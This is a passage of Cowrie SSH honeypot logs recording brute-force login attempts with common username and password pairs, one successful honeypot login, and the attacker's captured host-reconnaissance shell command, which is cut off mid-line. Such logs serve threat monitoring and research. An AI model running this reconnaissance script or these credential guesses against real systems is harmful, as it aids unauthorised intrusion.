fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:21.140072Z","src_ip":"160.187.174.22","session":"7c015c2f561c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:21.869238Z","src_ip":"160.187.174.22","session":"7c015c2f561c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:23.140239Z","src_ip":"160.187.174.22","session":"7c015c2f561c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.26.244","src_port":49174,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee82fae4cd0b","protocol":"ssh","message":"New connection: 106.75.26.244:49174 (10.17.0.5:22) [session: ee82fae4cd0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:28.629947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:28.634241Z","src_ip":"106.75.26.244","session":"ee82fae4cd0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:28.855409Z","src_ip":"106.75.26.244","session":"ee82fae4cd0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass1234","message":"login attempt [ubuntu/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:29.775660Z","src_ip":"106.75.26.244","session":"ee82fae4cd0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":36484,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bd421618f0e","protocol":"ssh","message":"New connection: 103.27.238.116:36484 (159.203.135.109:22) [session: 4bd421618f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:30.652137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:30.655629Z","src_ip":"103.27.238.116","session":"4bd421618f0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":51724,"dst_ip":"10.17.0.5","dst_port":22,"session":"c42fd1719900","protocol":"ssh","message":"New connection: 172.190.216.105:51724 (10.17.0.5:22) [session: c42fd1719900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:30.909340Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:30.931121Z","src_ip":"103.27.238.116","session":"4bd421618f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:30.999226Z","src_ip":"106.75.26.244","session":"ee82fae4cd0b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:31.090372Z","src_ip":"172.190.216.105","session":"c42fd1719900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:31.311877Z","src_ip":"172.190.216.105","session":"c42fd1719900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azerty1","message":"login attempt [root/azerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:31.761550Z","src_ip":"103.27.238.116","session":"4bd421618f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:33.039627Z","src_ip":"103.27.238.116","session":"4bd421618f0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDQWE!@#","message":"login attempt [root/ASDQWE!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:33.686770Z","src_ip":"172.190.216.105","session":"c42fd1719900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:36.128829Z","src_ip":"172.190.216.105","session":"c42fd1719900","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.174.5.146","src_port":45699,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8f60d3f2bf0","protocol":"ssh","message":"New connection: 172.174.5.146:45699 (159.203.135.109:22) [session: b8f60d3f2bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:46.521995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:46.525582Z","src_ip":"172.174.5.146","session":"b8f60d3f2bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:46.537827Z","src_ip":"172.174.5.146","session":"b8f60d3f2bf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Asd!@#","message":"login attempt [root/123Asd!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:46.613905Z","src_ip":"172.174.5.146","session":"b8f60d3f2bf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:47.631378Z","src_ip":"172.174.5.146","session":"b8f60d3f2bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":54038,"dst_ip":"159.203.135.109","dst_port":22,"session":"932a69176a8b","protocol":"ssh","message":"New connection: 160.187.174.22:54038 (159.203.135.109:22) [session: 932a69176a8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:47.992821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:47.996921Z","src_ip":"160.187.174.22","session":"932a69176a8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:48.247835Z","src_ip":"160.187.174.22","session":"932a69176a8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:49.031696Z","src_ip":"160.187.174.22","session":"932a69176a8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":50178,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2ee912e34e7","protocol":"ssh","message":"New connection: 103.27.238.120:50178 (10.17.0.5:22) [session: b2ee912e34e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:49.098332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:49.102220Z","src_ip":"103.27.238.120","session":"b2ee912e34e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:49.365422Z","src_ip":"103.27.238.120","session":"b2ee912e34e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09101990","message":"login attempt [root/09101990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:50.152422Z","src_ip":"103.27.238.120","session":"b2ee912e34e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:50.280988Z","src_ip":"160.187.174.22","session":"932a69176a8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:51.416953Z","src_ip":"103.27.238.120","session":"b2ee912e34e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46664,"dst_ip":"10.17.0.5","dst_port":22,"session":"28a67b3f55ae","protocol":"ssh","message":"New connection: 91.92.40.4:46664 (10.17.0.5:22) [session: 28a67b3f55ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.048571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.053788Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.135295Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"pass123","message":"login attempt [oracle/pass123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.465492Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.670925Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null 